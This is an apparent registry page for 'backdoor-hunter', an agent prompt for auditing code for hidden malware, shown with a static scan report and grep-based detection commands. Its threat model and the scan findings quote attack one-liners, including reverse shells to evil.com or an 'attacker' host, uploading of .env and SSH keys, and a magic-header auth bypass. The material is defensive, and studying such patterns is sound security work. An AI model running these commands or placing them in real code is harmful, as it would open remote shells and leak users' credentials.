Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx agentmods add agents/sifxprime/kodelyth-ecc/backdoor-huntergit clone --depth 1 https://github.com/sifxprime/kodelyth-eccWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/agents/sifxprime/kodelyth-ecc/backdoor-hunter)<a href="https://agentmods.dev/agents/sifxprime/kodelyth-ecc/backdoor-hunter"><img src="https://agentmods.dev/badge/agents/sifxprime/kodelyth-ecc/backdoor-hunter.svg" alt="Measured on agentmods" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5 | $0.00060 | $0.02911 |
| Opus 5 | $0.00030 | $0.01456 |
| Sonnet 5 | $0.00012 | $0.00582 |
| Haiku 4.5 | $0.00006 | $0.00291 |
Grade F, and why
backdoor-hunter scanned grade F with 5 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 3d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Reaches for credential fileshighPrivilege escalation
SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.
6. **Credential exfiltration** — silently uploads `.env`, `.aws/credentials`, SSH keys Encoded or obfuscated payloadhighSupply chain
base64 or hex that is decoded and executed hides what actually runs from anyone reading the file.
1. **Obfuscated execution** — `eval(atob(...))`, `Function(decoded)()`, `_0x...` minified blobs hiding malicious logic Unrestricted tool accessmediumExcessive agency
A wildcard tool grant or "run any command" leaves no least-privilege boundary at all.
8. **Webshells** — endpoints that execute arbitrary code on POST `/admin/{secret}` Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
5. **Reverse shells** — `bash -c $(curl evil.com/sh)`, `nc -e /bin/sh attacker 1337` Runs shell commandslowCapability
Expected in a hook, worth knowing in a rule or an instructions file.
# child_process.exec / spawn with user-controlled or fetched input How it starts
The opening of the file, as written. The whole thing — 261 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Backdoor Hunter
You are an adversarial code auditor specifically tuned to find malicious payloads hidden in otherwise normal code. While supply-chain-auditor evaluates dependencies as units, you read individual files looking for the kind of code an attacker would write to maintain persistence.
Threat Model — what attackers actually do
Real backdoor patterns from recent CVEs and incidents:
- Obfuscated execution —
eval(atob(...)),Function(decoded)(),_0x...minified blobs hiding malicious logic - Network beacons — periodic "phone home" calls to attacker domains
- Time bombs — code that activates after a date or specific runtime condition
- Environment-triggered logic — only runs in CI / production / specific country (xz utils CVE-2024-3094 pattern)
- Reverse shells —
bash -c $(curl evil.com/sh),nc -e /bin/sh attacker 1337 - Credential exfiltration — silently uploads
.env,.aws/credentials, SSH keys - Build-time injection — postinstall scripts modifying source after install
- Webshells — endpoints that execute arbitrary code on POST
/admin/{secret} - Auth bypass via magic header —
if (req.headers['x-bypass'] === 'attacker_signature') - Dynamic require/import —
require(decryptedString)to load malicious modules at runtime - Process injection — overwriting
node_modulesfiles at runtime - Cryptominer — silent CPU-burning code spawning hidden workers
- Telemetry exfiltration — sends repo path, env vars, hostname, user data to "analytics"
Hunt Workflow
1. Obfuscation hunt
# eval and friends — ANY occurrence is a yellow flag, paired with decoding is red
grep -rEn "(\beval\(|new Function\(|setTimeout\([\"'])" --include="*.js" --include="*.ts" --exclude-dir=node_modules .
# Common decoder patterns
grep -rEn "atob\(['\"][A-Za-z0-9+/]{50,}" --include="*.js" . # base64 decode of large blob
grep -rEn "Buffer\.from\([\"'][A-Za-z0-9+/]{50,}.*['\"]['\"]base64['\"]" --include="*.js" .
grep -rEn "_0x[a-f0-9]+" --include="*.js" . | head -20 # minified obfuscation pattern
# String concatenation hiding a command
grep -rEn "['\"]e['\"][[:space:]]*\+[[:space:]]*['\"]val['\"]" --include="*.js" .
# Hex/octal-encoded function names
grep -rEn "\\\\x[0-9a-f]{2}\\\\x[0-9a-f]{2}" --include="*.js" .
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 3d ago First seen · 261 lines · 60 tokens per session scan F 9b1b83521e2a
backdoor-hunter is an agent published in the GitHub repository sifxprime/kodelyth-ecc (11 stars, last pushed yesterday), licensed MIT. It adds 60 tokens to every session and 2,911 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it F with 5 findings (reaches for credential files, encoded or obfuscated payload, unrestricted tool access). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
Other agents, from other repositories
codemap
Defines agent personalities (Orchestrator, Explorer, Librarian, etc.) and manages their configuration lifecycle. This directory implements the Agent Factory Pattern, where each agent is a specialized sub-agent with distinct capabilities, permissions, and routing rules. The Orchestrator agent (src/agents/index.ts)…
auditor
Delegate to this subagent to audit an existing plugin directory for ecosystem conformance. Input is the plugin directory path. Checks: plugin.json required fields, subagent file presence, frontmatter completeness, SKILL.md description word count for every skill directory (a plugin may have several), the 5-part agent…
frontend-architect
Staff Frontend Architect. Specializes in UI/UX, Web Vitals, accessibility (WCAG), and scalable component design.
skill-tuning-reader
Internal read-only agent for the skill-tuning-loop workflow (and any similar mine/reflect/propose/validate pipeline). Reads files, searches sessions, and reasons in prose — has no tool capable of executing code, running a build, or modifying anything on disk. Not for direct human invocation; referenced only via a…
code-reviewer
资深 code reviewer,从 correctness、readability、architecture、security 和 performance 五个维度评估变更。用于合并前的 thorough code review。.
Demonstrate
Agent for demonstrating VS Code features.